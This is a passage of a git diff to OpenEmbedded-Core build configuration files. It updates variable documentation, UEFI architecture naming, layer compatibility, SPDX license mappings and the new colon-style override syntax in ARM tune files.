PACKAGE_EXTRA_ARCHS[doc] = "Specifies the list of architectures compatible with the device CPU. This variable is useful when you build for several different devices that use miscellaneous processors."
PACKAGE_INSTALL[doc] = "List of the packages to be installed into the image. The variable is generally not user-defined and uses IMAGE_INSTALL as part of the list."
PACKAGE_INSTALL_ATTEMPTONLY[doc] = "List of packages attempted to be installed. If a listed package fails to install, the build system does not generate an error. This variable is generally not user-defined."
+PACKAGE_SNAP_LIB_SYMLINKS[doc] = "Rename library files based on their SONAME to avoid an extra layer of indirection through a symlink. Only suitable for a read-only rootfs where libraries are not upgraded in place."
PACKAGECONFIG[doc] = "This variable provides a means of enabling or disabling features of a recipe on a per-recipe basis."
PACKAGES[doc] = "The list of packages to be created from the recipe."
PACKAGES_DYNAMIC[doc] = "A promise that your recipe satisfies runtime dependencies for optional modules that are found in other recipes."
@@ -328,7 +333,6 @@ PKGDATA_DIR[doc] = "Points to a shared, global-state directory that holds data g
PKGDEST[doc] = "Points to the parent directory for files to be packaged after they have been split into individual packages."
PKGDESTWORK[doc] = "Points to a temporary work area used by the do_package task to write output from the do_packagedata task."
PN[doc] = "PN refers to a recipe name in the context of a file used by the OpenEmbedded build system as input to create a package. It refers to a package name in the context of a file created or produced by the OpenEmbedded build system."
-PNBLACKLIST[doc] = "Lists recipes you do not want the OpenEmbedded build system to build."
PR[doc] = "The revision of the recipe. The default value for this variable is 'r0'."
PREFERRED_PROVIDER[doc] = "If multiple recipes provide an item, this variable determines which recipe should be given preference."
PREFERRED_VERSION[doc] = "If there are multiple versions of recipes available, this variable determines which recipe should be given preference."
@@ -343,6 +347,8 @@ PYPI_SRC_URI[doc] = "The URI to use to fetch from pypi, default uses pythonhoste
#Q
+QA_EMPTY_DIRS[doc] = "A list of directories that are expected to be empty."
+QA_EMPTY_DIRS_RECOMMENDATION[doc] = "This specifies a recommendation for a directory why it must be empty, which will be included in the error message if the directory is not empty."
QMAKE_PROFILES[doc] = "Specifies your own subset of .pro files to be built for use with qmake."
#R
@@ -373,13 +379,12 @@ SDKIMAGE_FEATURES[doc] = "Equivalent to IMAGE_FEATURES. However, this variable a
SDKMACHINE[doc] = "Specifies the architecture (i.e. i686 or x86_64) for which to build SDK and ADT items."
SECTION[doc] = "The section in which packages should be categorized. Package management utilities can make use of this variable."
SELECTED_OPTIMIZATION[doc] = "The variable takes the value of FULL_OPTIMIZATION unless DEBUG_BUILD = '1'. In this case, the value of DEBUG_OPTIMIZATION is used."
-SERIAL_CONSOLE[doc] = "The speed and device for the serial port used to attach the serial console. This variable is given to the kernel as the 'console' parameter. After booting occurs, getty is started on that port so remote login is possible."
SERIAL_CONSOLES[doc] = "Defines the serial consoles (TTYs) to enable using getty."
-SERIAL_CONSOLES_CHECK[doc] = "Similar to SERIAL_CONSOLES except the device is checked for existence before attempting to enable it. Supported only by SysVinit."
SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS[doc] = "A list of recipe dependencies that should not be used to determine signatures of tasks from one recipe when they depend on tasks from another recipe."
SIGGEN_EXCLUDERECIPES_ABISAFE[doc] = "A list of recipes that are completely stable and will never change."
SITEINFO_BITS[doc] = "Specifies the number of bits for the target system CPU."
SITEINFO_ENDIANNESS[doc] = "Specifies the endian byte order of the target system. The value should be either 'le' for 'little-endian' or 'be' for 'big-endian'."
+SKIP_RECIPE[doc] = "Lists recipes you do not want the OpenEmbedded build system to build."
SOC_FAMILY[doc] = "Groups together machines based upon the same family of SOC (System On Chip). You typically set this variable in a common .inc file that you include in the configuration files of all the machines."
SOLIBS[doc] = "Defines the suffix for shared libraries used on the target platform."
SOLIBSDEV[doc] = "Defines the suffix for the development symbolic link (symlink) for shared libraries on the target platform."
@@ -389,7 +394,6 @@ SPECIAL_PKGSUFFIX[doc] = "A list of prefixes for PN used by the OpenEmbedded bui
SRC_URI[doc] = "The list of source files - local or remote. This variable tells the OpenEmbedded build system what bits to pull in for the build and how to pull them in."
SRC_URI_OVERRIDES_PACKAGE_ARCH[doc] = "By default, the OpenEmbedded build system automatically detects whether SRC_URI contains files that are machine-specific. If so, the build system automatically changes PACKAGE_ARCH. Setting this variable to '0' disables this behavior."
SRCDATE[doc] = "The date of the source code used to build the package. This variable applies only if the source was fetched from a Source Code Manager (SCM)."
-SRCPV[doc] = "Returns the version string of the current package. This string is used to help define the value of PV."
SRCREV[doc] = "The revision of the source code used to build the package. This variable applies to Subversion, Git, Mercurial and Bazaar only."
SSTATE_DIR[doc] = "The directory for the shared state cache."
SSTATE_MIRRORS[doc] = "Configures the OpenEmbedded build system to search other mirror locations for prebuilt cache data objects before building out the data. You can specify a filesystem directory or a remote URL such as HTTP or FTP."
@@ -435,9 +439,6 @@ TOOLCHAIN_TARGET_TASK[doc] = "This variable lists packages the OpenEmbedded buil
TOPDIR[doc] = "The Build Directory. BitBake automatically sets this variable. The OpenEmbedded build system uses the Build Directory when building images."
TRANSLATED_TARGET_ARCH[doc] = "A sanitized version of TARGET_ARCH. This variable is used where the architecture is needed in a value where underscores are not allowed."
TUNE_PKGARCH[doc] = "The package architecture understood by the packaging system to define the architecture, ABI, and tuning of output packages."
-TUNEABI[doc] = "An underlying ABI used by a particular tuning in a given toolchain layer. This feature allows providers using prebuilt libraries to check compatibility of a tuning against their selection of libraries."
-TUNEABI_OVERRIDE[doc] = "If set, ignores TUNEABI_WHITELIST."
-TUNEABI_WHITELIST[doc] = "A whitelist of permissible TUNEABI values. If the variable is not set, all values are allowed."
TUNECONFLICTS[doc] = "List of conflicting features for a given feature."
TUNEVALID[doc] = "Descriptions, stored as flags, of valid tuning features."
diff --git a/meta/conf/image-uefi.conf b/meta/conf/image-uefi.conf
index aaeff12ccb..aec91bcfe2 100644
--- a/meta/conf/image-uefi.conf
+++ b/meta/conf/image-uefi.conf
@@ -1,16 +1,26 @@
# Location of EFI files inside EFI System Partition
EFIDIR ?= "/EFI/BOOT"
+# Location of UKI inside EFI System Partition
+EFI_UKI_DIR ?= "/EFI/Linux"
+
# Prefix where ESP is mounted inside rootfs. Set to empty if package is going
# to be installed to ESP directly
EFI_PREFIX ?= "/boot"
# Location inside rootfs.
EFI_FILES_PATH = "${EFI_PREFIX}${EFIDIR}"
+EFI_UKI_PATH = "${EFI_PREFIX}${EFI_UKI_DIR}"
+
+# The EFI name for the architecture
+EFI_ARCH ?= "INVALID"
+EFI_ARCH:x86 = "ia32"
+EFI_ARCH:x86-64 = "x64"
+EFI_ARCH:aarch64 = "aa64"
+EFI_ARCH:arm = "arm"
+EFI_ARCH:riscv32 = "riscv32"
+EFI_ARCH:riscv64 = "riscv64"
+EFI_ARCH:loongarch64 = "loongarch64"
# Determine name of bootloader image
-EFI_BOOT_IMAGE ?= "bootINVALID.efi"
-EFI_BOOT_IMAGE_x86-64 = "bootx64.efi"
-EFI_BOOT_IMAGE_x86 = "bootia32.efi"
-EFI_BOOT_IMAGE_aarch64 = "bootaa64.efi"
-EFI_BOOT_IMAGE_arm = "bootarm.efi"
+EFI_BOOT_IMAGE ?= "boot${EFI_ARCH}.efi"
diff --git a/meta/conf/layer.conf b/meta/conf/layer.conf
index 1a01d02fef..f2bca0aa5b 100644
--- a/meta/conf/layer.conf
+++ b/meta/conf/layer.conf
@@ -7,12 +7,12 @@ BBFILE_COLLECTIONS += "core"
BBFILE_PATTERN_core = "^${LAYERDIR}/"
BBFILE_PRIORITY_core = "5"
-LAYERSERIES_CORENAMES = "dunfell gatesgarth"
+LAYERSERIES_CORENAMES = "scarthgap styhead"
# This should only be incremented on significant changes that will
# cause compatibility issues with other layers
-LAYERVERSION_core = "12"
-LAYERSERIES_COMPAT_core = "gatesgarth"
+LAYERVERSION_core = "15"
+LAYERSERIES_COMPAT_core = "styhead"
BBLAYERS_LAYERINDEX_NAME_core = "openembedded-core"
@@ -48,6 +48,7 @@ SIGGEN_EXCLUDERECIPES_ABISAFE += " \
"
SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS += " \
+ *->patch-native \
*->quilt-native \
*->subversion-native \
*->git-native \
@@ -68,6 +69,7 @@ SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS += " \
initramfs-module-install->grub \
initramfs-module-install->parted \
initramfs-module-install->util-linux \
+ initramfs-module-setup-live->udev-extraconf \
grub-efi->grub-bootconf \
liberation-fonts->fontconfig \
cantarell-fonts->fontconfig \
@@ -81,8 +83,11 @@ SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS += " \
weston-init->kbd \
connman->xl2tpd \
lttng-tools->lttng-modules \
+ sato-icon-theme->gdk-pixbuf \
+ sato-icon-theme->gtk+3 \
adwaita-icon-theme->gdk-pixbuf \
adwaita-icon-theme->gtk+3 \
+ run-postinsts->util-linux \
"
# Avoid adding bison-native to the sysroot without a specific
@@ -90,8 +95,25 @@ SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS += " \
# (e.g. X -> Y -> binutils-cross -> bison-native) no longer meet the
# dependency incidentally. This improves determinism and avoids build
# failures when people switch to external toolchains.
-SSTATE_EXCLUDEDEPS_SYSROOT += ".*->bison-native"
-# Nothing needs to depend on libc-initial/gcc-cross-initial
+# libarchive only needs e2fsprogs headers at buildtime
+SSTATE_EXCLUDEDEPS_SYSROOT += "\
+ .*->autoconf-native \
+ .*->automake-native \
+ .*->bison-native \
+ .*->meson-native \
+ .*->ninja-native \
+ .*->patch-native \
+ .*->pkgconfig-native \
+ .*->quilt-native \
+ ^(?!gtk-doc-native).*->xmlto-native \
+ .*->gperf-native \
+ .*->help2man-native \
+ .*->gtk-doc-native \
+ .*->texinfo-native \
+ .*->perlcross-native \
+ libarchive-native->e2fsprogs-native \
+"
+# Nothing needs to depend on libc-initial
# base-passwd/shadow-sysroot don't need their dependencies
SSTATE_EXCLUDEDEPS_SYSROOT += "\
.*->.*-initial.* \
@@ -102,4 +124,11 @@ SSTATE_EXCLUDEDEPS_SYSROOT += "\
SSTATE_EXCLUDEDEPS_SYSROOT += ".*->autoconf-archive-native"
# We need to keep bitbake tools in PATH
-PATH := "${@os.path.dirname(bb.utils.which(d.getVar('PATH'),'bitbake'))}:${HOSTTOOLS_DIR}"
+# Avoid empty path entries
+BITBAKEPATH := "${@os.path.dirname(bb.utils.which(d.getVar('PATH'),'bitbake'))}"
+PATH := "${@'${BITBAKEPATH}:' if '${BITBAKEPATH}' != '' else ''}${HOSTTOOLS_DIR}"
+
+# Only OE-Core should set/change this
+BB_GLOBAL_PYMODULES = "os sys time"
+
+addpylib ${LAYERDIR}/lib oe
diff --git a/meta/conf/licenses.conf b/meta/conf/licenses.conf
index 751424d1b6..991fb6cc23 100644
--- a/meta/conf/licenses.conf
+++ b/meta/conf/licenses.conf
@@ -10,68 +10,108 @@
# Any mapping to MPL/LGPL/GPL should be fixed
# AGPL variations
-SPDXLICENSEMAP[AGPL-3] = "AGPL-3.0"
-SPDXLICENSEMAP[AGPLv3] = "AGPL-3.0"
-SPDXLICENSEMAP[AGPLv3.0] = "AGPL-3.0"
+SPDXLICENSEMAP[AGPL-3] = "AGPL-3.0-only"
+SPDXLICENSEMAP[AGPL-3+] = "AGPL-3.0-or-later"
+SPDXLICENSEMAP[AGPLv3] = "AGPL-3.0-only"
+SPDXLICENSEMAP[AGPLv3+] = "AGPL-3.0-or-later"
+SPDXLICENSEMAP[AGPLv3.0] = "AGPL-3.0-only"
+SPDXLICENSEMAP[AGPLv3.0+] = "AGPL-3.0-or-later"
+SPDXLICENSEMAP[AGPL-3.0] = "AGPL-3.0-only"
+SPDXLICENSEMAP[AGPL-3.0+] = "AGPL-3.0-or-later"
+
+# BSD variations
+SPDXLICENSEMAP[BSD-0-Clause] = "0BSD"
# GPL variations
-SPDXLICENSEMAP[GPL-1] = "GPL-1.0"
-SPDXLICENSEMAP[GPLv1] = "GPL-1.0"
-SPDXLICENSEMAP[GPLv1.0] = "GPL-1.0"
-SPDXLICENSEMAP[GPL-2] = "GPL-2.0"
-SPDXLICENSEMAP[GPLv2] = "GPL-2.0"
-SPDXLICENSEMAP[GPLv2.0] = "GPL-2.0"
-SPDXLICENSEMAP[GPL-3] = "GPL-3.0"
-SPDXLICENSEMAP[GPLv3] = "GPL-3.0"
-SPDXLICENSEMAP[GPLv3.0] = "GPL-3.0"
-
-#LGPL variations
-SPDXLICENSEMAP[LGPLv2] = "LGPL-2.0"
-SPDXLICENSEMAP[LGPLv2.0] = "LGPL-2.0"
-SPDXLICENSEMAP[LGPL2.1] = "LGPL-2.1"
-SPDXLICENSEMAP[LGPLv2.1] = "LGPL-2.1"
-SPDXLICENSEMAP[LGPLv3] = "LGPL-3.0"
-
-#MPL variations
+SPDXLICENSEMAP[GPL-1] = "GPL-1.0-only"
+SPDXLICENSEMAP[GPL-1+] = "GPL-1.0-or-later"
+SPDXLICENSEMAP[GPLv1] = "GPL-1.0-only"
+SPDXLICENSEMAP[GPLv1+] = "GPL-1.0-or-later"
+SPDXLICENSEMAP[GPLv1.0] = "GPL-1.0-only"
+SPDXLICENSEMAP[GPLv1.0+] = "GPL-1.0-or-later"
+SPDXLICENSEMAP[GPL-1.0] = "GPL-1.0-only"
+SPDXLICENSEMAP[GPL-1.0+] = "GPL-1.0-or-later"
+SPDXLICENSEMAP[GPL-2] = "GPL-2.0-only"
+SPDXLICENSEMAP[GPL-2+] = "GPL-2.0-or-later"
+SPDXLICENSEMAP[GPLv2] = "GPL-2.0-only"
+SPDXLICENSEMAP[GPLv2+] = "GPL-2.0-or-later"
+SPDXLICENSEMAP[GPLv2.0] = "GPL-2.0-only"
+SPDXLICENSEMAP[GPLv2.0+] = "GPL-2.0-or-later"
+SPDXLICENSEMAP[GPL-2.0] = "GPL-2.0-only"
+SPDXLICENSEMAP[GPL-2.0+] = "GPL-2.0-or-later"
+SPDXLICENSEMAP[GPL-3] = "GPL-3.0-only"
+SPDXLICENSEMAP[GPL-3+] = "GPL-3.0-or-later"
+SPDXLICENSEMAP[GPLv3] = "GPL-3.0-only"
+SPDXLICENSEMAP[GPLv3+] = "GPL-3.0-or-later"
+SPDXLICENSEMAP[GPLv3.0] = "GPL-3.0-only"
+SPDXLICENSEMAP[GPLv3.0+] = "GPL-3.0-or-later"
+SPDXLICENSEMAP[GPL-3.0] = "GPL-3.0-only"
+SPDXLICENSEMAP[GPL-3.0+] = "GPL-3.0-or-later"
+
+# LGPL variations
+SPDXLICENSEMAP[LGPLv2] = "LGPL-2.0-only"
+SPDXLICENSEMAP[LGPLv2+] = "LGPL-2.0-or-later"
+SPDXLICENSEMAP[LGPLv2.0] = "LGPL-2.0-only"
+SPDXLICENSEMAP[LGPLv2.0+] = "LGPL-2.0-or-later"
+SPDXLICENSEMAP[LGPL-2.0] = "LGPL-2.0-only"
+SPDXLICENSEMAP[LGPL-2.0+] = "LGPL-2.0-or-later"
+SPDXLICENSEMAP[LGPL2.1] = "LGPL-2.1-only"
+SPDXLICENSEMAP[LGPL2.1+] = "LGPL-2.1-or-later"
+SPDXLICENSEMAP[LGPLv2.1] = "LGPL-2.1-only"
+SPDXLICENSEMAP[LGPLv2.1+] = "LGPL-2.1-or-later"
+SPDXLICENSEMAP[LGPL-2.1] = "LGPL-2.1-only"
+SPDXLICENSEMAP[LGPL-2.1+] = "LGPL-2.1-or-later"
+SPDXLICENSEMAP[LGPLv3] = "LGPL-3.0-only"
+SPDXLICENSEMAP[LGPLv3+] = "LGPL-3.0-or-later"
+SPDXLICENSEMAP[LGPL-3.0] = "LGPL-3.0-only"
+SPDXLICENSEMAP[LGPL-3.0+] = "LGPL-3.0-or-later"
+
+# MPL variations
SPDXLICENSEMAP[MPL-1] = "MPL-1.0"
SPDXLICENSEMAP[MPLv1] = "MPL-1.0"
SPDXLICENSEMAP[MPLv1.1] = "MPL-1.1"
SPDXLICENSEMAP[MPLv2] = "MPL-2.0"
-#MIT variations
+# MIT variations
SPDXLICENSEMAP[MIT-X] = "MIT"
SPDXLICENSEMAP[MIT-style] = "MIT"
-#Openssl variations
+# Openssl variations
SPDXLICENSEMAP[openssl] = "OpenSSL"
-#Python variations
-SPDXLICENSEMAP[PSF] = "Python-2.0"
-SPDXLICENSEMAP[PSFv2] = "Python-2.0"
+# PSF variations
+SPDXLICENSEMAP[PSF] = "PSF-2.0"
+SPDXLICENSEMAP[PSFv2] = "PSF-2.0"
+
+# Python variations
SPDXLICENSEMAP[Python-2] = "Python-2.0"
-#Apache variations
+# Apache variations
SPDXLICENSEMAP[Apachev2] = "Apache-2.0"
SPDXLICENSEMAP[Apache-2] = "Apache-2.0"
-#Artistic variations
+# Artistic variations
SPDXLICENSEMAP[Artisticv1] = "Artistic-1.0"
SPDXLICENSEMAP[Artistic-1] = "Artistic-1.0"
-#Academic variations
+# Academic variations
SPDXLICENSEMAP[AFL-2] = "AFL-2.0"
SPDXLICENSEMAP[AFL-1] = "AFL-1.2"
SPDXLICENSEMAP[AFLv2] = "AFL-2.0"
SPDXLICENSEMAP[AFLv1] = "AFL-1.2"
-#CDDL variations
+# CDDL variations
SPDXLICENSEMAP[CDDLv1] = "CDDL-1.0"
SPDXLICENSEMAP[CDDL-1] = "CDDL-1.0"
-#Other variations
+# Other variations
SPDXLICENSEMAP[EPLv1.0] = "EPL-1.0"
+SPDXLICENSEMAP[FreeType] = "FTL"
+SPDXLICENSEMAP[Nauman] = "Naumen"
+SPDXLICENSEMAP[tcl] = "TCL"
+SPDXLICENSEMAP[vim] = "Vim"
-#Silicon Graphics variations
+# Silicon Graphics variations
SPDXLICENSEMAP[SGIv1] = "SGI-1"
# Additional license directories. Add your custom licenses directories this path.
diff --git a/meta/conf/machine-sdk/aarch64.conf b/meta/conf/machine-sdk/aarch64.conf
index 98d8380ecb..d2023e2174 100644
--- a/meta/conf/machine-sdk/aarch64.conf
+++ b/meta/conf/machine-sdk/aarch64.conf
@@ -1,2 +1,4 @@
SDK_ARCH = "aarch64"
-ABIEXTENSION_class-nativesdk = ""
+ABIEXTENSION:class-nativesdk = ""
+
+SDK_MACHINE_FEATURES = "qemu-usermode"
diff --git a/meta/conf/machine-sdk/i586.conf b/meta/conf/machine-sdk/i586.conf
index 41e5e159d1..ccee3a4881 100644
--- a/meta/conf/machine-sdk/i586.conf
+++ b/meta/conf/machine-sdk/i586.conf
@@ -1,4 +1,5 @@
SDK_ARCH = "i586"
SDK_CC_ARCH = "-march=i586"
-ABIEXTENSION_class-nativesdk = ""
+ABIEXTENSION:class-nativesdk = ""
+SDK_MACHINE_FEATURES = "qemu-usermode"
diff --git a/meta/conf/machine-sdk/i686.conf b/meta/conf/machine-sdk/i686.conf
index fe406972c8..abb7a4bc1a 100644
--- a/meta/conf/machine-sdk/i686.conf
+++ b/meta/conf/machine-sdk/i686.conf
@@ -1,3 +1,5 @@
SDK_ARCH = "i686"
SDK_CC_ARCH = "-march=i686"
-ABIEXTENSION_class-nativesdk = ""
+ABIEXTENSION:class-nativesdk = ""
+
+SDK_MACHINE_FEATURES = "qemu-usermode"
diff --git a/meta/conf/machine-sdk/loongarch64.conf b/meta/conf/machine-sdk/loongarch64.conf
new file mode 100644
index 0000000000..6bb4c7a4ea
--- /dev/null
+++ b/meta/conf/machine-sdk/loongarch64.conf
@@ -0,0 +1,4 @@
+SDK_ARCH = "loongarch64"
+ABIEXTENSION:class-nativesdk = ""
+
+SDK_MACHINE_FEATURES = "qemu-usermode"
diff --git a/meta/conf/machine-sdk/ppc64.conf b/meta/conf/machine-sdk/ppc64.conf
new file mode 100644
index 0000000000..8ba3fccc67
--- /dev/null
+++ b/meta/conf/machine-sdk/ppc64.conf
@@ -0,0 +1,4 @@
+SDK_ARCH = "ppc64"
+ABIEXTENSION:class-nativesdk = ""
+
+SDK_MACHINE_FEATURES = "qemu-usermode"
diff --git a/meta/conf/machine-sdk/ppc64le.conf b/meta/conf/machine-sdk/ppc64le.conf
new file mode 100644
index 0000000000..3ee12faf57
--- /dev/null
+++ b/meta/conf/machine-sdk/ppc64le.conf
@@ -0,0 +1,4 @@
+SDK_ARCH = "ppc64le"
+ABIEXTENSION:class-nativesdk = ""
+
+SDK_MACHINE_FEATURES = "qemu-usermode"
diff --git a/meta/conf/machine-sdk/riscv64.conf b/meta/conf/machine-sdk/riscv64.conf
new file mode 100644
index 0000000000..a43fe433fe
--- /dev/null
+++ b/meta/conf/machine-sdk/riscv64.conf
@@ -0,0 +1,4 @@
+SDK_ARCH = "riscv64"
+ABIEXTENSION:class-nativesdk = ""
+
+SDK_MACHINE_FEATURES = "qemu-usermode"
diff --git a/meta/conf/machine-sdk/x86_64.conf b/meta/conf/machine-sdk/x86_64.conf
index 61439b4fb0..357dab0b88 100644
--- a/meta/conf/machine-sdk/x86_64.conf
+++ b/meta/conf/machine-sdk/x86_64.conf
@@ -1,2 +1,6 @@
SDK_ARCH = "x86_64"
-ABIEXTENSION_class-nativesdk = ""
+SDK_CC_ARCH = "-march=x86-64"
+ABIEXTENSION:class-crosssdk = ""
+ABIEXTENSION:class-nativesdk = ""
+
+SDK_MACHINE_FEATURES = "qemu-usermode"
diff --git a/meta/conf/machine/include/README b/meta/conf/machine/include/README
index d66130acbc..3ae68231d0 100644
--- a/meta/conf/machine/include/README
+++ b/meta/conf/machine/include/README
@@ -31,10 +31,10 @@ TUNECONFLICTS[feature] - A list of features which conflict with <feature>.
New sanity checks will try to reject combinations in which a single
tuning ends up with features which conflict with each other.
-TUNE_FEATURES - This is automatically defined as TUNE_FEATURES_tune-<tune>.
-See TUNE_FEATURES_tune-<tune> for more information.
+TUNE_FEATURES - This is automatically defined as TUNE_FEATURES:tune-<tune>.
+See TUNE_FEATURES:tune-<tune> for more information.
-TUNE_FEATURES_tune-<tune> - Specify the features used to describe a
+TUNE_FEATURES:tune-<tune> - Specify the features used to describe a
specific tune. This is a list of features that a tune support, each
feature must be in the TUNEVALID list. Note: the tune and a given
feature name may be the same, but they have different purposes. Only
@@ -66,10 +66,10 @@ CPU family.
PACKAGE_EXTRA_ARCHS - Lists all runtime compatible package
architectures. By default this is equal to
-PACKAGE_EXTRA_ARCHS_tune-<tune>. If an architecture deviates from the
+PACKAGE_EXTRA_ARCHS:tune-<tune>. If an architecture deviates from the
default it will be listed in the architecture README.
-PACKAGE_EXTRA_ARCHS_tune-<tune> - List all of the package architectures
+PACKAGE_EXTRA_ARCHS:tune-<tune> - List all of the package architectures
that are compatible with this specific tune. The package arch of this
tune must be in the list.
@@ -79,7 +79,7 @@ architecture specific floating point. This is synchronized with the
compiler and other toolchain items. This should be dynamically
configured in the same way that TUNE_CCARGS is.
-BASE_LIB_tune-<tune> - The "/lib" location for a specific ABI. This is
+BASE_LIB:tune-<tune> - The "/lib" location for a specific ABI. This is
used in a multilib configuration to place the libraries in the correct,
non-conflicting locations.
diff --git a/meta/conf/machine/include/arm/README b/meta/conf/machine/include/arm/README
index a1beb75fdf..c5637798e6 100644
--- a/meta/conf/machine/include/arm/README
+++ b/meta/conf/machine/include/arm/README
@@ -10,7 +10,7 @@ of the existence of the "bigendian" feature in a given tune.
A small set of ARM specific variables have been defined to allow
TUNE_PKGARCH to be automatically defined. Optimized tunings must NOT
-change the definiton of TUNE_PKGARCH. TUNE_PKGACH_tune-<tune> will be
+change the definiton of TUNE_PKGARCH. TUNE_PKGACH:tune-<tune> will be
ignored. The format of the package arch is enforced by the TUNE_PKGARCH
default. The format must be of the form:
<armversion>[t][e][hf][b][-vfp][-neon]
diff --git a/meta/conf/machine/include/arm/arch-arm.inc b/meta/conf/machine/include/arm/arch-arm.inc
index 99625d8417..f1e92e19c6 100644
--- a/meta/conf/machine/include/arm/arch-arm.inc
+++ b/meta/conf/machine/include/arm/arch-arm.inc
@@ -1,7 +1,7 @@
TUNEVALID[bigendian] = "Enable big-endian mode."
-ARMPKGARCH = "${ARMPKGARCH_tune-${DEFAULTTUNE}}"
+ARMPKGARCH = "${ARMPKGARCH:tune-${DEFAULTTUNE}}"
ARMPKGSFX_ENDIAN = "${@bb.utils.contains('TUNE_FEATURES', 'bigendian', 'b', '', d)}"
ARMPKGSFX_FPU ??= ""
ARMPKGSFX_DSP ??= ""
@@ -14,3 +14,7 @@ TUNE_PKGARCH = "${ARMPKGARCH}${ARMPKGSFX_THUMB}${ARMPKGSFX_DSP}${ARMPKGSFX_EABI}
ABIEXTENSION = "eabi"
TARGET_FPU = "${@d.getVar('TUNE_CCARGS_MFLOAT') or 'soft'}"
+
+# Some -march settings need a +X option passed in. Since we cannot guarantee that any specified TUNE_CCARGS option is set in any order, we must hard code the order here to allow for it.
+TUNE_CCARGS_MARCH_OPTS ??= ""
+TUNE_CCARGS .= "${TUNE_CCARGS_MARCH}${TUNE_CCARGS_MARCH_OPTS}"
diff --git a/meta/conf/machine/include/arm/arch-arm64.inc b/meta/conf/machine/include/arm/arch-arm64.inc
index 6d5b22fff0..832d0000ac 100644
--- a/meta/conf/machine/include/arm/arch-arm64.inc
+++ b/meta/conf/machine/include/arm/arch-arm64.inc
@@ -3,22 +3,23 @@ DEFAULTTUNE ?= "aarch64"
require conf/machine/include/arm/arch-armv7ve.inc
TUNEVALID[aarch64] = "Enable instructions for aarch64"
+TUNECONFLICTS[aarch64] = "armv4 armv5 armv6 armv7 armv7a"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', 'aarch64:', '' ,d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', 'aarch64:', '', d)}"
# Little Endian base configs
AVAILTUNES += "aarch64 aarch64_be"
-ARMPKGARCH_tune-aarch64 ?= "aarch64"
-ARMPKGARCH_tune-aarch64_be ?= "aarch64_be"
-TUNE_FEATURES_tune-aarch64 = "aarch64"
-TUNE_FEATURES_tune-aarch64_be = "${TUNE_FEATURES_tune-aarch64} bigendian"
-TUNE_PKGARCH_64_tune-aarch64 = "aarch64"
-TUNE_PKGARCH_64_tune-aarch64_be = "aarch64_be"
-BASE_LIB_tune-aarch64 = "lib64"
-BASE_LIB_tune-aarch64_be = "lib64"
-
-PACKAGE_EXTRA_ARCHS_tune-aarch64 = "aarch64"
-PACKAGE_EXTRA_ARCHS_tune-aarch64_be = "aarch64_be"
+ARMPKGARCH:tune-aarch64 ?= "aarch64"
+ARMPKGARCH:tune-aarch64_be ?= "aarch64"
+TUNE_FEATURES:tune-aarch64 = "aarch64"
+TUNE_FEATURES:tune-aarch64_be = "${TUNE_FEATURES:tune-aarch64} bigendian"
+TUNE_PKGARCH_64:tune-aarch64 = "aarch64"
+TUNE_PKGARCH_64:tune-aarch64_be = "aarch64_be"
+BASE_LIB:tune-aarch64 = "lib64"
+BASE_LIB:tune-aarch64_be = "lib64"
+
+PACKAGE_EXTRA_ARCHS:tune-aarch64 = "aarch64"
+PACKAGE_EXTRA_ARCHS:tune-aarch64_be = "aarch64_be"
ARMPKGSFX_ENDIAN_64 = "${@bb.utils.contains('TUNE_FEATURES', 'bigendian', '_be', '', d)}"
TUNE_ARCH_64 = "aarch64${ARMPKGSFX_ENDIAN_64}"
@@ -32,7 +33,12 @@ TUNE_PKGARCH_32 = "${ARMPKGARCH}${ARMPKGSFX_THUMB}${ARMPKGSFX_DSP}${ARMPKGSFX_EA
ABIEXTENSION_32 = "eabi"
TARGET_FPU_32 = "${@d.getVar('TUNE_CCARGS_MFLOAT') or 'soft'}"
-TUNE_ARCH = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${TUNE_ARCH_64}', '${TUNE_ARCH_32}' ,d)}"
-TUNE_PKGARCH = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${TUNE_PKGARCH_64}', '${TUNE_PKGARCH_32}' ,d)}"
-ABIEXTENSION = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${ABIEXTENSION_64}', '${ABIEXTENSION_32}' ,d)}"
-TARGET_FPU = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${TARGET_FPU_64}', '${TARGET_FPU_32}' ,d)}"
+TUNE_ARCH = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${TUNE_ARCH_64}', '${TUNE_ARCH_32}', d)}"
+TUNE_PKGARCH = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${TUNE_PKGARCH_64}', '${TUNE_PKGARCH_32}', d)}"
+ABIEXTENSION = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${ABIEXTENSION_64}', '${ABIEXTENSION_32}', d)}"
+TARGET_FPU = "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', '${TARGET_FPU_64}', '${TARGET_FPU_32}', d)}"
+
+# Emit branch protection (PAC/BTI) instructions. On hardware that doesn't
+# support these they're meaningless NOP instructions, so there's very little
+# reason not to.
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'aarch64', ' -mbranch-protection=standard', '', d)}"
diff --git a/meta/conf/machine/include/arm/arch-armv4.inc b/meta/conf/machine/include/arm/arch-armv4.inc
index 47a7ad2830..be5761fb20 100644
--- a/meta/conf/machine/include/arm/arch-armv4.inc
+++ b/meta/conf/machine/include/arm/arch-armv4.inc
@@ -2,7 +2,7 @@ DEFAULTTUNE ?= "armv4"
TUNEVALID[arm] = "Enable ARM instruction set"
TUNEVALID[armv4] = "Enable instructions for ARMv4"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv4', ' -march=armv4t', '', d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv4', ' -march=armv4${ARMPKGSFX_THUMB}', '', d)}"
# enable --fix-v4bx when we have armv4 in TUNE_FEATURES, but then disable it when we have also armv5 or thumb
# maybe we should extend bb.utils.contains to support check for any checkvalues in value, now it does
# checkvalues.issubset(val) which cannot be used for negative test of foo neither bar in value
